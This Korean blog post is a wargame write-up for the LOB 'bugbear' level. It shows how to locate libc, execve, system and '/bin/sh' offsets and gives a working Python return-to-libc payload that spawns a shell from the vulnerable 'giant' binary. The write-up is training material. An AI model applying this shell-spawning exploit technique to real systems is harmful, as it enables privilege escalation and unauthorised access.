본문 바로가기
워게임/LOB

LOB - bugbear(RTL, execve함수)

by meanjung 2021. 8. 7.

대충 해석해보면

친히 execve의 주소를 구해서 char *ret이 execve의 주소와 같아야 한다는 조건이 있다.

 

ret에 argv[1][44]부터 4만큼 복사하므로, 내가 인자로 줄 값의 44-47까지의 값이 ret에 복사되는 것이다. 

그러므로, 44-47번 값을 execve 함수의 주소로 주면 되겄지

 

 


[*] 참고사항

c언어 execve 함수

execve(char *filename, char *const argv[], char *const envp[])

            파일이름      파일 인자의 포인터  환경변수의 포인터

☞ filename이 가리키는 파일을 실행한다. 이 파일은 바이너리 실행 파일이거나 스크립트 파일이어야 한다.

argv, envp는 포인터 배열로 filename의 인자로 들어간다.

 

* 만약 filename에 유효한 문자열이 들어가지 않는다면 끝나버린다. 

 

 

사용중인 라이브러리 찾는 명령어

ldd [실행파일]

ex. ldd giant

 

 

라이브러리 밑에 함수 찾기

readelf -s [라이브러리] | grep [함수명] ☞ offset을 구할 수 있다.

ex. readelf -s /lib/libc.so.6 | grep execve

 

 

라이브러리 밑에 문자열 찾기

strings -tx [라이브러리] | grep [스트링] ☞ offset을 구할 수 있다.

ex. strings -tx /lib/libc.so.6 | grep /bin/sh

 


execve 함수로 익스하려면 {문자열, null} 같은 꼴의 유효한 문자열을 찾아야 한다.

이런 문자열을 찾기 어려우므로, execve를 그냥 죽여버리고 system("/bin/sh")를 이용해 익스하겠다. 

 

 

 

위의 명령어로

libc, system, execve, /bin/sh 의 주소를 모두 구할 수 있다.

 

 

그럼 익스 구조는

"A"*44 + execve + system + -1(0xffffffff) + /bin/sh

 

import os
import struct

p32 = lambda x: struct.pack("<I", x)

libc = 0x40018000
system = libc + 0x40ae0
execve = libc + 0x91d48
binsh = libc + 0xe3ff9

payload = "A"*44 + p32(execve) + p32(system) + p32(0xffffffff) + p32(binsh)

filename = './giant'

os.execv(filename, [filename, payload])

 

 

 


참고

https://watchout31337.tistory.com/136

 

execve() 함수

execve 함수에 대해 알아보자. int execve(const char *filename, char *const argv[], char *const envp[]); 파일이름        파일인자의 포인터     환경변수의 포인터 execve는 filename이 가리키..

watchout31337.tistory.com

https://badayak.com/4430

 

C언어 다른 프로그램 실행 함수execve()

C함수 다른 프로그램 실행 execve() 다른 프로그램을 실행하고 자신은 종료합니다. execle() 이나 execve() 처럼 exec 함수 중 e 로 끝나는 함수는 환경변수를 지정할 수 있습니다. 헤더: unistd.h 형태: int ex

badayak.com

https://d4m0n.tistory.com/85

 

[LOB] bugbear -> giant

ls 명령어로 디렉터리를 확인해보니, giant와 giant.c가 있다. cat 명령어로 giant.c를 열어 소스코드를 확인해보자. 이번 문제는 전 문제에 이은 RTL문제이다. 공유 라이브러리의 의존성을 확인할 수 있

d4m0n.tistory.com

 

'워게임 > LOB' 카테고리의 다른 글

LOB - assassin(semi ROP)  (0) 2021.08.07
LOB - giant (semi ROP)  (0) 2021.08.07
LOB - darkknight(RTL)  (0) 2021.08.05
LOB - golem(SFP overflow)  (0) 2021.08.04
LOB - skeleton  (0) 2021.08.03

댓글